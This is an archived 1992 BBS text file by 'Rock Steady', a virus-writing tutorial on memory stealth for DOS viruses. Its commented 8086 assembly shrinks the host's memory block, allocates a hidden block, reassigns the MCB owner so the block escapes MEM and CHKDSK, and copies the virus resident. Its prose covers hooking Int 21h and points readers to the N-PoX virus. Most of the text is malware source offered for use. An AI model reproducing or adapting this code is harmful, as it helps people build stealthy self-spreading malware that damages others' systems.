home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / programming / asm_programming / ART-A < prev    next >
Encoding:
Text File  |  1992-09-16  |  5.0 KB  |  68 lines

  1.                         Memory Stealth                                     
  2.                         ~~~~~~~~~~~~~~                                     
  3. The Advantages of having a Memory Resident Virus, are unlimited. When our  
  4. virus goes `TSR' it REALLY doesn't do ANYTHING. It just stays there,       
  5. waiting to be called upon. the 80x86 really doesn't MULTITASK, so don't    
  6. think the virus runs `in the Background' TSRs tend to hook on Interrupts,  
  7. depending what function they must do. If it must be called upon OFTEN,     
  8. hook Int 1C, if your must run when an File is Executed/Open/Close Hook     
  9. Int 21h. And everytime Int 21h is called, Your Virus Runs FIRST, then it   
  10. calls the original Int 21h.                                                
  11.                                                                            
  12. I will try to explain on how cut off a block of Memory, Then we'll         
  13. allocate memory for the Virus, change the program MCB, and move the        
  14. virus resident in memory.                                                  
  15.                                                                            
  16. para_size       equ     3                                                  
  17.                                                                            
  18.         mov     cx,es               ;Get current Segment                   
  19.         dec     cx                  ;Subtract 1, so we have MCB            
  20.         mov     es,cx               ;Restore it back to ES                 
  21.         mov     bx,es:para_size     ;BX=MCB Size in Paragraphs             
  22.         mov     dx,virus_size       ;DX=Virus Size                         
  23.         mov     cl,4                ;Unfortunately, VirusSize is in Bytes  
  24.         shr     dx,cl               ;While memory size is calculated in    
  25.         add     dx,4                ;paragraphs (16-Byte)                  
  26.         mov     cx,es               ;Start to Restore the Old Segment in ES
  27.         sub     bx,dx               ;oh, yeah, Minus Virus - Current memory
  28.         inc     cx                  ;Increment CX                          
  29.         mov     es,cx               ;Put it back, NOTICE a PUSH ES + POP ES
  30.         mov     ah,4ah              ;would have been BETTER!!!!!           
  31.         int     21h                 ;Call Dos to Adjust Memory block Size  
  32.                                                                            
  33. ; First part has been easily completed, Next code, Allocates Memory for    
  34. ; the Virus...                                                             
  35.         jc      exit_com            ;Test, incase Error Happened           
  36.         mov     ah,48h              ;Allocate Memory function              
  37.         dec     dx                                                         
  38.         mov     bx,dx               ;Number of 16-Byte Paragraphs to       
  39.         int     21h                 ;Allocate                              
  40.                                                                            
  41. ; Next this Function Returns the Segment of the Allocated memory Block     
  42. ; in AX register. So edit its MCB and move the virus resident.             
  43. mem         equ      2        ;Put theses with the rest...                 
  44.         jc      exit_com            ;Another Test for Errors...            
  45.         dec     ax                  ;Get it MCB                            
  46.         mov     es,ax               ;Put it into ES                        
  47.         mov     cx,8h                                                      
  48.         mov     es:mem,cx           ;Fix MCB PSP blocks Owner              
  49.         sub     ax,0fh                                                     
  50.         mov     di,103h             ;Offset of where virus will start.     
  51.         mov     es,ax               ;With is Segment                       
  52.         mov     si,bp               ;Put BP (Delta Offset) in SI           
  53.         add     si,offset init_virus ;Add to point to the begining of Virus
  54.         mov     cx,virus_size       ;How many Bytes to move?               
  55.         cld                         ;Clear Direction Flag (Ascending)      
  56.         repne   movsb               ;Copy from DS:SI to ES:DI              
  57.                                                                            
  58. That is all needed to do the trick. And it will not show up with the Memory
  59. Mapping Utilities like MEM or CHKDSK. However Dos will report Available    
  60. memory to be short by the Number of Paragraphs we Allocated. I will try    
  61. to fix this DARN thing that drives me crazy, I believe it can be solved    
  62. like our FCB Dir Method, Where we can add the Number of Paragraphs our     
  63. Virus Allocated back to them Memory Mapping Utilities. There IS a WAY!     
  64. And we will find it... This topic will be continued in Info Journal #5.    
  65.                                                                            
  66.                                 Rock Steady                                
  67.               `Check out N-PoX(es) to see this Routine Working'            
  68.